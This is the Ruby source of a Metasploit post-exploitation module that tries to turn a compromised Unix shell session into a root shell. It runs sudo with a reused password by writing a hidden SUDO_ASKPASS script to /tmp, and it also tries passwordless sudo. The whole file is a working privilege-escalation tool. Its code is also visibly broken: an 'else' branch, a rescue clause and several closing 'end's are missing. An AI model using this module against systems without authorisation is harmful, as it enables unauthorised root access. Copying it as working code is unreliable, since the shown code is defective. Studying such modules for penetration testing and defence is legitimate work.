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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Linux::Priv
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  include Msf::Post::Linux::System
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
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        'Description' => %q{
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          This module attempts to upgrade a shell account to UID 0 by reusing the
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          given password and passing it to sudo. This technique relies on sudo
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          versions from 2008 and later which support -A.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'todb <todb[at]metasploit.com>',
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          'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option
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        ],
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        'Platform' => %w[aix linux osx solaris unix],
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        'References' => [
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          # Askpass first added March 2, 2008, looks like
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          [ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
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        ],
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        'SessionTypes' => [ 'shell' ]
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      )
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    ) # Need to test 'meterpreter'
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    register_options(
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      [
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        OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
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      ]
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    )
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  end
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  # Run Method for when run command is issued
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  def run
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    if session.type == 'meterpreter'
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      fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')
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    end
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    print_status('SUDO: Attempting to upgrade to UID 0 via sudo')
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    sudo_bin = cmd_exec('which sudo')
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    if is_root?
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      print_status 'Already root, so no need to upgrade permissions. Aborting.'
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      return
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    end
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    if sudo_bin.empty?
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      print_error 'No sudo binary available. Aborting.'
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      return
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    end
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    get_root
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  end
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  def get_root
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    password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']
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    if password.to_s.empty?
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      print_status 'No password available, trying a passwordless sudo.'
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    else
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      print_status "Sudoing with password `#{password}'."
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    end
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    askpass_sudo(password)
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    if is_root?
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      print_good 'SUDO: Root shell secured.'
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      report_note(
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        host: session,
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        type: 'host.escalation',
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        data: "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
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      )
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      print_error "SUDO: Didn't work out, still a mere user."
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    end
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  end
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  # TODO: test on more platforms
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  def askpass_sudo(password)
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    if password.to_s.empty?
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      begin
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        ::Timeout.timeout(30) do
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          cmd_exec('sudo -s')
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        end
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      rescue ::Timeout::Error
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        print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'
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      rescue StandardError
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        print_error 'SUDO: Passwordless sudo failed. Check the session log.'
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      end
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    else
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      askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)
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      begin
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        # Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
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        # Generally will be much snappier over ssh.
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        # Need to timeout in case there's a blocking prompt after all
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        ::Timeout.timeout(120) do
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          # Create the shell script that will pass the password to sudo
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          vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
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          write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")
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          register_file_for_cleanup(askpass_sh)
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          vprint_status 'Setting executable bit.'
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          cmd_exec("chmod +x #{askpass_sh}")
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          vprint_status 'Setting environment variable.'
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          # Bruteforce the set command. At least one should work.
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          cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
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          cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
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          vprint_status 'Executing sudo -s -A'
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          cmd_exec('sudo -s -A')
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        end
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      rescue ::Timeout::Error
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        print_error 'SUDO: Sudo with a password timed out.'
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        print_error 'SUDO: Sudo with a password failed. Check the session log.'
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      end
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end
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